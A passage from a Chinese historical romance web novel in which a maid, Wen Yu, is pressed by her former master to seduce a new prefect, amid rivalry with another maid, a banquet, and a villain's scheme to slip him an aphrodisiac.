“不管是谁教给你的,温玉。”张清时拔高了音调,强调道,“在我的府中没有这样的规矩,我不需要你的侍奉。同样,你也不能对其他人讲这样的话,如果有下次,我会叫徐管家将你送回的。”
“是。”温玉低下了头,手指紧紧铰在一起。
张清时见了还以为是自己语气过于重了,又安慰道:“你做好你该做的事情,今晚的事我不会责怪你的。”
“是。”温玉又扮起了柔弱的样子,开始慢慢地落泪,泪水滴在地上,在烛火照耀下,可以清晰看见泪珠的影迹。
她知道这样不好,但没有办法,张郎君是陈禹想要利用向上爬的棋子,那对温玉而言,同样也是。
张清时顿了一下,还从未见过一个女孩子因为他的一句话而哭过。
他也没有安慰女孩子的经验,若有所思后道:“你若觉得呆在这委屈,我可叫徐管家替你另觅好去处。”
“不行。”温玉止住了落泪,眼睛还有点红,“我……我一切都听郎君的,郎君不要赶我走。”
要是真赶她走了,那就是真哭了。
张清时其实并没有真要赶她的心思,见她又恢复了状态,便道:“那你先出去吧,夜里黑,你先在柜子里寻根蜡烛点上吧。”
“是,郎君。”
温玉有些泄气,哭泣这招明明对所有人都凑效,可偏偏就张郎君不为所动,这是为何?
温玉抬眼又看了一下张郎君,他还是继续在桌前洋洋洒洒写什么。
温玉不识字,还是收回眼神,决定回屋继续琢磨一下。于是便没有再纠缠张郎君,寻了根蜡烛点燃后就走了。
回到偏房时,众人都已经熟睡了,温玉就吹灭掉蜡烛后再蹑手蹑脚地上床。
也许是今天走得路多,吃得也饱,今天躺在硬板床上,没一会儿也竟然睡着了。
夜里风大,风破开了窗台,几缕月光泻了下来。
照在了温玉的对床上,一双眼睛在黑夜里正死死地盯着她。
4. 学画
张府的活很简单,只要给树浇水施肥,修剪花枝,清扫落叶就行。
而这样的活,熟练起来,温玉她们五个人一上午就能干完。
所以,一连几天下午的时候,温玉和其他丫鬟们都是在偏房渡过。
“一张八条!”
“我跟三张八条!”
“我不信!”
“你输了,给我罚她!”
“哈哈哈哈。”
轻灵悦耳的少女音从偏房内传来,她们正靠着玩叶子戏来渡过这段无聊的时光。
但一场游戏需要四个人,所以温玉待在屋外静静地欣赏那一朵朵红得像火一样灿烂的芙蓉花。
温玉不喜欢花,她讨厌这种会随时消逝的东西,和希望一样。
算算今日,已是她入府的第五天了,这期间张郎君一次都没有召见过她们。
是不是他真不行?温玉每次都会这样想。
不过他看起来挺高大魁梧的,不应该。
过多的乱想只会让温玉心烦,她觉得自己应该要再次主动出击了,平白地等待只会耗尽人的心性。
这次她又打算偷偷去见张郎君,可刚要出去,许欢的声音就在身后响了起来:“温玉,你去哪里?”
温玉转头平静回答道:“我想起后院应该有些花落了,想再去清扫一下。”
雨燕感慨道:“温玉姐姐,你可真是劳模。”
而许欢则放下叶子牌,挺胸张扬道:“等等,那我要同你一起去。”
温玉紧抿唇,让她一起去,岂不是就要被她发现自己在勾搭张郎君的事情了,况且她知道了肯定又要大闹一场。
正当温玉还在思考怎么推脱时,雨燕就在一旁将许欢拉了下来:“你走了,我们叶子牌该怎么打?你还输了这么多,一次惩罚都没有做,就想走?”
“对啊,我们都贴面了,就你没贴。”
阿莫说完就往许欢脸上贴了两张白纸条,那是她们输后要做的惩罚。
温玉见状笑道:“许欢,你就——这样出去?”
“啊!!!烦死了。”许欢气恼,但还是无可奈何地又坐回位置上,“温玉,等我赢了我就去找你。”
“随你。”
温玉淡淡地丢下这句话,就径直走了出去。
她们住在西院,西院离主院和后院都很远,但不是同一条道。
温玉只能凭借上次记忆摸索出去往主院的路,以至于不要在路上白白浪费时间,怕回去晚了,那四人都会起疑心。
白天的路和晚上的路感觉上有些不同,晚上是有些阴森幽静,而白天,因为周遭种的都是常青的绿植,反而给人一种春和景明的感觉。
温玉走在路上,紧张如鼓的心跳,也被慢慢安抚。
她其实根本不知道如何勾搭男人,只知道要与男人多见面就行,因为兰水她们就是这么干的,整日里要么是与大公子陈子诩在书房里玩乐,要么是晚上叫她们过去服侍。
温玉从不参与,所以就被他们安排了个守门的活,整天听他们怪叫的声音。
温玉摇摇头,撇去脑海里那些不和谐的画面,努力寻书房的影子。
所幸,她记忆不错,一下子就找到了。
为了确认是否有人在里面,她又贴耳在门旁。
是翻阅书本的书声。
温玉便再次敲响了房门。
“谁?”
“郎君,是我,温玉。”
“进来吧。”
“是。”
温玉推开房门进来,再将门给关上。
再一转身,张清时的眼神有些微微不悦地盯着自己:“温玉,徐管家没有和你说过,没什么事不用打扰我吗?”
“回郎君,徐管家有说过。”温玉端正地行了一礼继续道,“是因为修剪花枝的活今日已干完,所以想向郎君寻点其他活干。”
“这事你同徐管家交涉便好,不用什么事都直接问我。”
张清时温和是温和,但他非常恪守规矩,面对温玉一次又一次地挑破规矩,他就会变得很肃立了起来。
温玉也察觉到主子的不悦,头低得更低了些:“回郎君,我是想替郎君研磨,不知道这事要找徐管家说。”
语气压得很低,张清时怕女娘又要当场哭了起来,控制好自己的语气道:“算了,不知者无罪,你下次注意就行。还有,我不需要你替我研磨。”
这是,又要赶自己走的节奏吗?
温玉低着头,看着灰灰的地板,如同心间那一缕纠缠的灰团,不知该如何解。
“还有何事?”张清时停下翻书的手,他望不见温玉的神情,只知道她一人落寞呆在原地,仿佛是受了多大的委屈,“你是有什么难言之隐吗?”
闻言,温玉抬头,一双水汪汪的眼睛看着张清时:“郎君,我想学画画。”
“啊?”张清时有些摸不着头脑,“为何?”
温玉看了一眼窗台,从这能清晰地见到芙蓉花在日光下娇俏美丽的样子。
她不想一次一次的失败,于是又编造出一个理由:“家中母亲也喜欢花,郎君院庭里的花是最好看的,可惜母亲看不见,所以我想将花的样子画下来给她看。”
张清时一顿,神情缓和下来:“可是想家了?”
温玉点了点头,忍住要夺眶而出的泪珠,显现得十分委屈。
“你倒是个有孝心的,过来,我教你。”
这次张清时主动叫她,温玉应声,来到案桌旁。
案桌摆放十分简洁,不像陈府的书房,总是一团糟槽的,等人收拾。
张清时将书卷收起放至一旁,从笔架上挑出一根轻盈一些的毛笔递给温玉:“拿着,我教你。”
温玉接过,走到案桌前。张郎君站在她身后,罩住了她。但两人身体间还搁着很大的空隙。
张清时又在桌上铺开一张白纸,手捏在她手捏毛笔位置的上面,带动着她在纸上画了起来。
“你可以先试试画个圆。”
张清时温和的声音萦绕在温玉的耳边,像是翠鸟在低语,以至于她根本没注意他带着她画些什么。
不过他还是一笔一笔细致地带着她画,还会很好地引导:“对,我们再尝试画一下其他不一样的圆。”
很快,一朵圆圆的简单的小花就被画了出来。
“这是芙蓉花?”
温玉低眼看了白纸上的小花,发出质疑。
“这当然不是芙蓉。”张清时回答的很坦然。
“那郎君可是在
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骗我?”温玉板着脸问道。
张清时松开手,浅笑了一声:“芙蓉不是一日就能被画出来的,需要你日日练习和学习才能画出来。但是现在你已经能完整画出一朵小花,我相信你的母亲会为你骄傲的。”
会为我骄傲吗?
温玉继续看向纸上小花,陷入了沉思。阿娘是个很好的人,但对自己总是露出一副很忧愁的样子,不喜欢她惹事,不喜欢她张扬
总是说着那样的话:“温玉,你要听主家的话,你要一切为主家着想。”
可怜阿娘为主家着想了大半辈子,临了,生了大病,却被陈府的人赶进柴房里自生自灭,也不愿出一份钱治疗。
温玉自己也是很听主君的话了,但也要被赶去去做别人家的丫鬟,还要干爬床这种腌臜事来。
她厌弃陈府,也厌弃自己。
“可是想你母亲了?”张清时看着眼前不语眉目紧蹙的人儿,安慰道,“这样,我过几日请教书先生教你们习字学画,让你们可以写信给家里。”
温玉回神摇摇头,她不是不愿意接受张郎君的好意,她只是不相信。
不相信主家会将承诺兑现,当初陈府也是这么对大家说的,说什么工钱减半,日后病了死了,陈府都会替你们照料的。
到头来,都是一纸空话。
或许,是对陈府的厌恶涌上心头,温玉也讨厌起张郎君来,迫不及待地想离开这种地方。
“谢过郎君,没什么事,奴婢就先告退了。”
张清时点头了一下,温玉就行了一礼,快步走了出去。
那张白纸还继续留在张郎君的案桌上。
*
出了书房,温玉有些心事重重地走在回去的路上。
她很讨厌这样的任务,尤其是在面对张郎君对自己好的时候,厌恶更是到达了极点。
她不做,阿娘就会死。
去做,且不说如何靠近张郎君,如果当真靠近了。
到谎言被揭穿的那天,张郎君又当如何看待自己?
很难的问题困住了温玉,她瞧着地上的一颗石子,越瞧越不顺眼,旋即,就把脚踢向石子。
石子在空中划过一道曲线,完美地落入小潭中,激起一阵水花。
“好呀,原来你在这!”
盛气凌人的许欢听到响声,立马寻了过来。
“说好的去扫花,花呢?”
“关你屁事!”
温玉很烦她这种人,自己没做什么事,但她非要像个怨鬼一样总找自己索命。
“你是不是见张郎君了?”许欢质问道。
“是又如何,不是又如何?”
温玉敷衍地回应她,抬起脚继续往前走。
“我都说了,郎君是我的!”许欢赶上来,一把扯住温玉的发髻,“你不许跟我抢,你听到没有!”
温玉咬牙,伸手也把她的发髻往下扯:“我做什么事情跟你无关。”
“我说不行就不行!”
两人扯得很紧,谁也不让谁。
“喂!你们在干什么?”
这时,后方又传来了一道嘹亮的声音。
温玉和许欢两人互扯着,没空关系。
于是一道脚步声越靠越近。
5. 争执
“说你们呢!快住手!”
一个扎着高马尾,身着骑行装的男子赶来,大力地用手将打架的两人分开。
一分开,许欢就恶人先告状道:“她这贱人天天跑去勾引郎君,你应该拦着她!”
“空口无凭,你不能平白的诬陷其他娘子,你这也是在侮辱郎君。”男子替温玉反驳道。
“证据?”许欢冷哼一声,“她刚从郎君屋里跑出来就是证据。”
“那如果是郎君找她有事,你误会了人家怎么办?”
男子还是很站在温玉这边的,主要是如果许欢说的是事实,郎君的名声就会有辱。
在郎君和眼前这跋扈的小丫鬟之间,他还是更选择相信郎君。
“你是不是跟她一伙的?”许欢见男子不帮她,于是把无明的怒火撒在他身上,“你姓什么名什么,我要去郎君那里告你们私通的状!”
“你要告就告好了。”男子无语,他同这两位小娘子都是第一次见,怎么脏水都往他身上泼了,“我姓凌,名云峰,是郎君的侍卫,专门保护郎君安危的。”
听他这话,许欢的眼皮微微一颤,脸色也转变的极快:“原来是凌侍卫呀,是我眼拙,误会了哥哥。”
这一句哥哥叫得凌侍卫鸡皮疙瘩都起来了,他擦了擦手臂:“有什么话好好说不行吗?非要打架。”
“误会,都是误会。”许欢对温玉挤出一个笑容来,“你说是不是吗?温玉妹妹。”
温玉知道许欢跟自己的目的一样,要是闹破了对谁也不会,于是也选择遮掩过去:“对了,凌侍卫你误会了,我和许欢姐姐是在玩呢。”
“玩?”凌侍卫看着两人被扯坏的发髻,忍俊不禁道,“哈哈哈,你们还挺会玩的。”
许欢也呵呵笑着应付:“那凌侍卫,没什么事,我们先走了。”
“走吧走吧。”凌侍卫抬抬手,自个儿也往郎君书房方向走去。
温玉心起了好奇,走了一段路后便假借肚子疼痛不同许欢一起回房,而是独自找上了凌侍卫。
“凌侍卫,凌侍卫。”温玉在后面忙叫住他。
凌侍卫止住脚步,又高又长的马尾在空中一甩,他转身漫不经心问道:“嗯?姑娘还有什么事吗?”
知道凌侍卫性格直爽,温玉也不拐弯抹角,就直截了当地把心中好奇的事情问了出来:“温玉已经进府数日,还未曾见过凌侍卫。今头一次见,难道是府中有什么变故吗?”
“哈哈哈。”凌侍卫从容地一笑,“姑娘,你多虑了,是郎君新上任一周,后日要宴请青州一起共事的官员们吃饭,我是过来护卫大家安全的。”
温玉歉然一笑道:“原来是我多思了,谢谢凌侍卫。”
“不客气。”
说完,凌侍卫就继续朝郎君书房走去。
而温玉也一边往回走一边自个儿忧思了起来,张刺史要设宴,应该都是会宴请一些达官贵人,那陈禹会不会来。
如果真来了她该怎么办?
她这五日什么进展都没有,还差点把郎君弄生气了。
陈禹要是知道会不会直接将她母亲赶出陈府,然后又把她转手卖给其他人牙子。
温玉光想想都是觉着后怕。
不行,这个宴席她还是得找机会让陈禹看见她和张郎君的进展,没有也要创出有的事情来。
温玉暗地下定了决心后,掉头又去找徐管家。
恰好徐管家也正往这边赶,两人就碰上了。
温玉见了连忙招呼道:“见过管家。”
“温玉,好巧,刚好要找你们呢。”徐管家乐上前一步道,“后日郎君要设宴,人手可能不够,需要你们五个丫鬟帮忙一些厨房端菜的活可好,我给你们这个月多算些工钱。”
“这是极好不过了。”温玉应道,借着干活还能顺势进入宴席,许管家这事可来得可太好了。
“好,我就先同你说了,你再替我转达给其他几位丫鬟吧。”徐管家点了点头,转了个方向,也往张郎君书房走去。
看来这次的宴席果真很重要。
温玉回了偏房,许欢带着雨燕几个丫鬟拦在门口,看起来脸色都不是很好。
许欢率先挑起头:“你看,我说的没错吧,我们几个在这里玩,她倒好耍心眼去郎君屋里勾搭郎君去了。”
雨燕跟着问道:“温玉姐姐,真的是这样吗?”
温玉看着许欢那凌人的样子,就知道她画蛇添足地跟其他人说了一大堆有的没的。
真是人前刚装完和睦,人后就捅刀子。
温玉深吸了一口气为自己辩解道:“我是去了郎君书房里,但也不是做什么苟且之事,是为了传郎君的话给大家。”
许欢讥讽:“什么话轮得到你传?”
“不信,你可以问徐掌柜,当时他也在”温玉淡定道,“郎君说后日设宴,需要我们帮忙端茶倒水,给厨房帮活,还给我们涨工钱。”
“真的假的?”
其余三个丫鬟听到工钱就两眼放光,阿莫还感慨道:“这个郎君还怪好的嘞。”
雨燕已经开始遐想:“那到时候府上会不会来许多达官贵人?”
阿喜讲:“听我阿娘说,贵人一般喝酒喝的开心,给的赏钱也多,足够一个人半年不愁吃穿。”
“哇!真好!”
她们三个都陷入美好的遐想中,全然已忘记温玉去过郎君屋里的事情了。
唯有许欢,她还是不相信温玉就会这么单纯,什么事情都没做。
两只狭长上挑的眼睛就像把弯刀想狠狠地将温玉剜开。
对此,温玉耸了耸肩表示:“我说了,不信,你就可以问徐管家。”
许欢冷哼一声:“走着瞧!张郎君一定是我的!”
*
因宴席设在后日,到了第二天,府内开始忙活起来了。
徐管家安排一些厨房里的大嬷嬷出去采购,又请了一些工匠在前院布置场景,然后也让温玉她们去厨房帮忙清洗些瓜果蔬菜,准备食材。
虽然一切从简,但还是忙活了一整天。
等入了黑夜,丫鬟们吃完饭,温玉还要忙着去清洗饭后的碗筷。
温玉洗碗很快,一洗完就要将碗筷归还至厨房时,却刚好在这瞧见一人鬼鬼祟祟地端着什么东西从厨房的后门出来了。
温玉突发好奇,将碗筷放到地上,跟着那道身影走了上去。
忽而她一转身,温玉迅速往旁边躲去,天黑月光弱,那人瞧不清身后是否有人跟着。
而温玉却
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看见那人,身姿样貌都像极了许欢。
那人没有察觉异样继续向前走着,可能是不熟悉路,在黑夜里摸索了很久,以至于温玉都怀疑她不是许欢了。
继而,那人还是找准了路,端着一盘不知道是什么的就明晃晃地走向张郎君的书房。
这么学着自己献殷勤的,温玉更加确定了她就是许欢。
真是表面一套背地一套。
温玉暗骂道,随即就静静躲在一旁的暗处看着,看看许欢到底能有多大本事。
下一秒,只见许欢走到门口,明目张胆地敲了敲书房门。
房门也同往常一样,从内打开了。
只不过出来的人不是张郎君,而是凌侍卫。
“你在这里做什么?”
凌侍卫的声音明亮,在寂静的黑夜里听得很清楚。
“我想给张郎君送些芙蓉糕,还是用芙蓉花做的。”许欢紧张道,头还时不时地往里探。
可惜凌侍卫长得高大,将门挡得死死的,一点春光都不露:“我说你,动的什么心思,郎君喜欢芙蓉花,你还敢摘他的花?”
“这……可芙蓉花做糕点也很好吃的。”许欢强力推销道。
凌侍卫扶额,转头又往屋内叫了一声。
紧接着徐管家就板着一张脸出现了:“许欢,我是不是说过,郎君喜静,不允许任何人来打扰!”
徐管家毕竟是有些年纪在的,有时候古板着脸,小丫鬟们都会害怕地不敢同她讲话。
此时许欢也是这样,小声答道:“我看郎君好心收留我们,就特地做了份糕点报答郎君。”
徐管家瞧了一眼那芙蓉糕,眉纹皱的很深:“你拿走吧,郎君不喜欢吃甜腻的食物。”
“不甜的。”许欢找补道,“我没有放糖,不信,让主君尝尝吧。”
“够了,许欢。”徐管家吼道,挥了挥手,“你是丫鬟,不要想着对郎君动什么歪心思,你要是再这样,你就哪来的回哪去吧。”
“是……管家。”
许欢低下头,声音有些似在啜泣。
徐管家和凌侍卫互相对了一眼后,都默不作声地关上了房门。
许欢吃了一记很猛的闭门羹。
温玉看到此时此景,心里也有些发虚,还好自己去找张郎君时都是只有郎君一个人在,要是碰见徐管家和凌侍卫,说不定也会像许欢这般吧。
瞧完了热闹,温玉也没敢有其他的心思,就先一步离开了,将碗筷继续归还给厨房。
待她重新回到偏房时,屋内异常热闹。
许欢一个劲儿地在床上哭鼻子,其他人木讷地站在一旁都不知道怎么安慰。
许欢见温玉进来了,就直接拿温玉开刀:“温玉,你是有什么狐媚子手段,为何能自由出入郎君书房。”
蠢还要怪别人聪明吗?
温玉忍住翻白眼的冲动,躺上床没耐心道:“很多话我都解释了千遍,你不信我也没有办法。”
“温玉,你等着瞧,明日我就让你知道错了。”许欢一边哭,一边还不忘威胁道。
温玉躺在侧身捂住耳朵,真是不知道从哪里惹到这么一个活祖宗,整天缠着自己不放。
心中突然暗暗滋生出一个念头:想叫陈禹做掉她。
6. 宴席
新的一轮太阳升起,刺史府上上下下开始忙活了起来。
张清时也早早穿戴整齐地出现在正门门口,亲自同温玉她们迎接达官贵人们。
那是温玉第一次在早晨见到他,疏朗的眉宇,柔和的眼眸,高挺的鼻梁,再加上湿润的雾气,人站在那,就像是如沐春雨般清新脱俗的翠竹。
其他丫鬟见到张郎君也很是激动,雨燕又开始议论起来:“郎君就算不行,凭着一张帅脸,我觉得应该还是能娶到妻子的吧。”
阿喜还是固执己见道:“阿娘说了,男人不行感情终究是会不幸福的。”
雨燕叹了口气:“可惜,白瞎了这张脸。”
许欢却耻笑道:“你们只关乎郎君帅不帅,行不行有什么用?人家可是青州刺史,这么大官,想靠这个上位的女子多了去了。”
说着,许欢还顺带剜了温玉一眼。
温玉不予理睬,在背后挖空心思议论别人还不如做点实事。
见清晨的白雾散去,日光突破云层直照地面。
温玉见有两三个仆人正送伞过来。
仆人将伞递给各位丫鬟道:“若临了正午,太阳较晒的话,记得给达官贵人们打伞,免得贵人们晒坏了。”
温玉点头接过油纸伞,又看了一眼在屋外等候的张郎君。
日光像是专门为他打似的,全照他明朗的脸上了。
温玉思衬了一下,便打开伞走到张郎君的身边。
这一举动,雨燕她们可都惊呆了。
张清时感受到时也有些意外,委婉道:“温玉,谢谢,但我不需要。”
面对张郎君的拒绝,温玉莞尔一笑,不紧不慢解释道:“郎君,这日头正盛着。丫鬟们给那些贵人打伞,不给您打,外头传出去还说我们不知礼数。且有些比你低阶些的官,若见您没打伞,他们也是不敢打的。”
张清时愣了一下,觉得她讲得很在理,没多说什么,便默允了她替自己打伞。
而另一旁的丫鬟们却开始兴奋了起来。
尤其是雨燕,她一脸激动:“哇,你们有没有觉得温玉姐姐和郎君站在一起,好般配呀!”
阿莫也跟着点了点头:“郎才女貌,这一站出去,都可以是刺史府的招牌。”
“我娘说,才子佳人是绝配。”阿喜也附和道。
“呸呸呸!”许欢连吐了几口吐沫,“一只麻雀还想飞上枝头变凤凰?”
这下,另外三个人都白了她一眼,视线又继续停留在那对“佳人”身上。
而温玉和张清时就光这样站着,两人也不说话,好像两人也不是怎么爱说话的样子。
这样一看,两人谁也妨碍不了谁,倒也显得温玉的行为没有那么刻意。
只是她一直举着伞的手有点点酸痛。
好在,过了一会儿,那些贵人们的马车的接踵而至了。
首先来的是谢长史和董司马,听说是刺史的左右手,来得早,过来就对张清时行了一礼道:“恭贺郎君新任青州刺史一职。”
“多谢,两位里面请进吧。”张清时也笑着挥了一下手,玉燕和阿莫就打开伞指引着两位官员进去入座了。
接着后面来的是盐铁使和转运使,青州临海,海上货物运转之事少不了这两位官员。
他们提了两件礼物,都是些不知名的香料,但据说都是外邦来的。
这些张清时都婉拒了:“此次设宴只是想同各位官僚认识一下,不必这么客气。”
那两位官员也是见好就收,尴尬地笑了笑,便把香料揣回兜里后走了进去。
再后面来得官员和贵人都挺多的,还有什么郡主,参军什么的,温玉有些辨不清楚。
其中也不乏送礼的,还全被张清时一一拒绝了。
他很恪守自己的原则,坚决不私受一份礼物。
等这一大批人陆续进去之后,差不多整个青州官员到齐了。
张清时便招呼着大家一起进府。
可刚转身,又有一辆马车驶过来了。
接着,从马车上下来一胖一瘦一矮一高四人。
温玉顿时觉得非常熟悉,定睛一看,没想到最后来的居然是赵县令那一伙人,有县令,有主簿,有县尉,还带着个陈禹。
陈禹下了马车,见温玉站在张清时旁边,嘴角就已经开始不自觉地微微上翘了。
温玉想装作不认识他的样子,身子特意地往张清时身后躲了躲。
可谁知陈禹脸皮那么厚,特意走到张清时面前打趣道:“嚯,张郎君,这不走近一看,我还以为旁边站的人还是你的小娘子呢!”
赵县令也跟着取笑:“哈哈哈,陈禹你这眼睛也真是的,我们张郎君可是人中龙,那能是一个小小丫鬟能配的?”
虽是经常听惯这句话,但恶语再次相向时,温玉还是会感受到一些心酸,尽管她是个毫无尊严的底层人。
但张清时还是替她毫不客气地回怼了过去:“赵县令,身为父母官,平白辱了女娘名誉,是不是有失风度。”
“哎,就开个玩笑嘛。”赵县令见张清时语气认真,便立马打个哈哈,“今日还是为了恭贺张郎君新任刺史一职啊!”
“多谢,请进吧。”张清时抬了抬手,淡漠地侧身请他进去。
“哈哈哈,好。”赵县令尴尬地长笑一声后,便一起同他的属下进府。
随后,张清时望了一眼街道,见没有继续的来访者后便对丫鬟们道:“你们也进府吧,我已吩咐徐管家在厨房里给你们备了些吃食。”
“谢谢郎君。”
丫鬟们齐声感谢后,就跟在张清时的身后一同进府。
一路上,偶然会遇见几位官员逗留,见了张清时就热情地与之交谈。
而雨燕她们则会识趣地离郎君半里远的距离小声地聊着天。
唯有温玉,走在所有人群的后面。
因为通往前院和厨房有一段路是同路,温玉怕在这路上再遇见陈禹,他那个人得了乖就容易得意忘形。
要是遇上他,口无遮拦的,指不定会惹上什么麻烦。
所以温玉特地放慢了脚步,选择走在人群的后面。
等行至分叉路口时,张清时同路上一起相伴的官吏继续往前院方向走去,温玉她们则往厨房的方向走。
终于碰不见陈禹了,温玉心中的那块巨石才得以稍稍放下。
望着前面的丫鬟们,温玉想一起跟上,刚要加快脚步却被人迅速有力地扯住了衣袖。
接着,便被扯向一旁的树后面。
温玉想要呼救,口鼻也被身后人用手给捂住了。
温玉还在想是哪个坏人趁机溜进了府中时,一道恐怖的声音比那人的脸先闯入她的意识里。
“温玉,你行啊!”
陈禹在她背后发出阵阵阴笑,接着把她的身体转向他:“与那张郎君都发展到什么地步了,说给我听听。”
而温玉近距离看见陈禹的脸,一阵恶心感就上来,马上就推开了他。
“你疯了吗?这里可是刺史府!”
“你怕什么?”陈禹满脸无所谓道,“这里又没有别人。”
“……”
“你也看见了,我们丫鬟都是成群结队的,如果她们发现我没跟上,肯定回来找我的。”
温玉知道陈禹逮住她就不会轻易放手,只能随便找个理由搪塞他。
“那你猜,谁会来找你?”陈禹忽然一脸神秘地问。
温玉摇摇头,不知道他憋的什么好屁:“我不知道。”
“哈哈哈!”陈禹笑着凑近,挑了挑眉:“要不,你往后看?”
!!!
真是不要命了!
一下子温玉的心就提到了嗓子眼,她不敢往后看。
可陈禹又伸手去扳她的脑袋,硬生生地转了个弯。
温玉也刚好瞧见。
刚好瞧见——许欢!!!
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这下可真是要完了。
许欢整天都在找自己的把柄,可陈禹偏偏还要将把柄送与她手上。
难道是说——温玉紧张地咽了咽口水。
难道是说他们是一伙的?
“过来!”
陈禹抬了抬手,许欢还真走了过来。
温玉没见过她这么听人话过,而陈禹却玩着她温玉的发生,轻佻道:“温玉,我可为你报了一仇,你知道她是谁吗?”
“不要再绕弯子了。”
温玉皱了皱眉,前有虎后有狼的,她可没心情听他在这弯弯绕绕。
陈禹更靠近了些,对着她的耳朵小声道:“她就是容嬷嬷的女儿,你看像不像?”
“可容嬷嬷的女儿不在陈府,你怎么把人送过来的?”温玉疑惑道,像容嬷嬷这种稍高一阶的仆人,自己的儿女是可以不用继续做奴隶的,只需要花点小钱改个户籍。
“但她女儿在赵县令府上做丫鬟呀!”陈禹借机又抹了一把温玉的脸,“最近养的不错啊!”
温玉嫌恶地打掉了他的手:“你什么意思?叫我过来,又叫她来做什么?”
“我这不是为你出气吗?”陈禹一脸坏笑,“再说,两个人都进去,有竞争才会有动力呀,你说是不是?”
温玉心中冷笑一声,商人就是商人,没有信任只有利益可言。
恰好这时许欢也已经走了过来,还笑吟吟地朝陈禹行了一礼:“见过主君。”
“起来吧。”陈禹挺直了身子,端出自己一副主家的样子,“你们说说,和张郎君进展到哪一步了?”
许欢忽而脸上多了一抹羞涩:“回主君,奴婢和张郎君已经在慢慢相熟,前几日郎君还吃了奴婢亲手做的芙蓉糕呢!”
真是瞎话张口就来啊!
温玉心中冷嘲道,早知道这样自己就不努力了,全靠一张嘴编,多好。
可陈禹却摇了摇头:“就这?我以为你们一天就能爬上床,结果还是在吃东西上,太让我失望了。”
许欢肉眼可见地慌了,立马拉温玉下水:“主君,都怪温玉,她私自见郎君都不曾告诉奴婢,以至于奴婢错过多少次见郎君的机会。”
“人不行不要怪路不平。”
陈禹大叹口气,又看了一眼温玉:“你呢?”
“回主君,张郎君能见奴婢多次,说明他不讨厌奴婢,奴婢还有机会。”
漂亮话谁不会说,只要陈禹想听,温玉也能给他说出来。
但陈禹觉得都平平无奇,不理解道:“别人都能爬上去,你们一个个怎么都不行?”
“……”
“那还请主君再给次机会。”许欢请缨道,“如果没有温玉的干扰,奴婢五日就行。”
“那奴婢就等着她先上。”温玉可不想领什么军令状把自己逼上绝路,就先让着许欢来,她不相信许欢能掀起什么水花来。
“不行,太慢了。”陈禹摇摇头还是不满意,接着从怀里掏出个药包来,“不过,我愿意给你们一个法子。”
“是变更美的法子吗?”许欢两眼放光地盯着那药包。
“不。”陈禹嘴角微微上翘,“是——春药。”
!!!
下春药,这人也太狠了吧,温玉心里充满了抗拒:“我不需要这东西。”
而许欢很是兴奋:“如有此物,奴婢觉得一日也可。”
“哈哈哈,温玉,学学人家。”陈禹往温玉怀里强塞一包,“你如果有人家这么通透,我也不至于将你送到这里受苦啊!”
“呵,主君,她就是假清高。”温玉一把夺过药包,“还不如交给奴婢,奴婢比她强。”
“也行。”陈禹摩挲着下巴,“温玉,要是许欣先得手了,我倒或考虑你继续跟着我。”
“谁先得手也不一定。”温玉冷冷道,“我不需要这玩意也能行。”
“哈哈哈,好。”陈禹拍手叫好道,“那今晚我就静待你们表现了。”
7. 下药
今日举办宴席,丫鬟们不宜随处走动。温玉和许欢回了偏房后,许欢就一直捂着藏在怀里的药包傻乐。
屋内其他人瞧见了还以为许欢疯了。
雨燕连忙问温玉:“你们两回来晚,你是在路上偷偷给她打傻了吗?”
温玉摇摇头:“可能她天生就是傻子吧。”
“哼,你们在那边不要吃不到葡萄就说葡萄酸”许欢斜睨了她们两眼,“以后我可就是这刺史府里的娘子了,你们可对我尊敬些!”
“温玉姐姐,我相信你说的了。”
说完,雨燕同温玉一起露出无奈的表情。
宴席分为中午和晚上各一场,到了晚上,温玉她们就要去厨房取些吃食,刚好看见厨房里的两位嬷嬷又在熬住一股新汤。
阿莫嘴馋便问:“于嬷嬷,这熬的是什么,我们可否能够再添一碗?”
于嬷嬷懒懒地抬了一眼:“这是醒酒汤,给达官贵人们喝的,不是给你们喝的。”
阿莫瘪瘪嘴走开,而一旁的许欢却提了兴趣。
第一次主动好生讲话地同于嬷嬷道:“于嬷嬷,你这醒酒汤送去,肯定人手不够,要不我们替你送点?”
于嬷嬷本来今天做菜熬汤的累得腰杆痛,听到有人愿意帮自己,不悦的态度稍收敛了一下:“那行,我添碗,你们去送。”
其他人都还没有答应呢,许欢就装出一副主人的架势吩咐道:“你你你你都快去端碗,送给宴席上的大人们。”
雨燕直接不爽道:“你答应的你自己弄,凭什么指点我们?”
阿莫也附和道:“就是就是。”
“能给那些大人们送是你们的荣幸。”许欢撑腰继续无厘头地输出,“能得这份殊荣还偷懒着不干,看我不跟徐管家说,把你们都赶出府去!”
“你***,给你脸了!”雨燕忍不住了,伸手就要挠她,但温玉却一把拦住了她。
“雨燕,不要义气用事。”温玉揽着她走向一旁安抚道,“你打了她,就是你先动手打人,那别人肯定会先责怪你。”
“那也不能总看她在这耀武扬威吧。”雨燕委屈道。
“没事,多行不义必自毙。”
温玉知道许欢想做什么,但她现在已经明牌和许欢是同一个线上的蚂蚱,如果许欢和雨燕打起来,身上的药包被发现了,那一定会牵连到自己身上。
况且就算许欢成功在醒酒汤里下了药,张郎君也未必会喝她递的碗。
“还愣着干什么?端碗呀!”许欢嚣张地冲其他人叫着,自己就端了一碗,“这碗我来送给张郎君。”
“真是什么好事都给她做了。”雨燕小声嘀咕道,还是拿起食盒将几碗汤装进去。
阿莫和阿喜也没多说什么,也装了一些。
然后众人带着食盒一起去前院,给那些贵人们送醒酒汤。
来到前院,前院的桌子没有贴牌,所以各个官吏都是跟自己关系好的坐在一起。
这样看来,对青州所有官员的分派都一目了然。
官员们还在畅饮,台上搭了个戏台子,戏子在台上咿咿呀呀地唱着小曲,曲声悠扬,令人更加沉醉。
温玉她们怕打扰贵人兴致,都是将碗小心翼翼地放在一旁,如果贵人需要,即可小饮一下。
但许欢不同,端着碗就明目张胆地走到张清时身旁,还出言直接打断了他与同事的交谈:“郎君,这是醒酒汤,奴婢特地为您准备的。”
张清时只是微微抬眸看了一眼,道了句谢后,就让她放至一旁。
可许欢并未照做,反而还进一步相劝道:“郎君,您喝了汤,才能更加清醒地与他人交谈呀。”
张清时还未回话,一旁的同事谢长史就打趣道:“张郎君,贵府丫鬟真尽心尽责,生怕我们多灌你些酒,让你神志不清啊,哈哈哈。”
许欢以为谢长史在夸自己,欣喜道:“多谢这位郎君美言,奴婢的确是一门心思在张郎君身上。”
“哈哈哈。”同桌的同事都哈哈大笑了起来,唯有张清时的脸色有些紧绷。
但他还是好言道:“许欢,我暂且未喝多少酒,你先放在这。”
